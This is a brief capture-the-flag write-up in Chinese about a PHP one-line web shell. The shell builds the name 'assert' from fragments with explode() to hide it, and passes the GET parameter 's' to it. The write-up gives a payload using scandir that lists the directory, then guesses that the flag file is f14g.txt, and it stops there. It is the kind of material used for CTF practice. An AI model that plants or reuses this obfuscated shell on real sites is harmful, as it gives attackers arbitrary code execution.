題目:
1 <?php 2 $poc="a#s#s#e#r#t"; #assert 3 $poc_1=explode("#",$poc); #數組 4 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; #assert 5 $poc_2($_GET['s']) # assert($_GET['s']) 6 ?>
注:assert()函數內如果是字符串,函數將會把它當做PHP代碼執行。
explode() 函數使用一個字符串分割另一個字符串,字符串分割后組成一個數組返回
讀取到的信息:
如果 ‘ s ’ 為字符串命令,將會被assert()函數執行,通過此段一句話木馬可通過assert() 函數可執行任意命令 ‘ s ’
通過 ‘ s ’ 輸出文件目錄:
構造 s => s = print_r( scandir( ' ./ ' ) )
注: scandir() 函數 返回一個數組,數組包含指定路徑中的文件和目錄
print_r()函數 以易於理解的格式打印變量
根據猜測測試:
進一步猜測 flag 在 f14g.txt 中: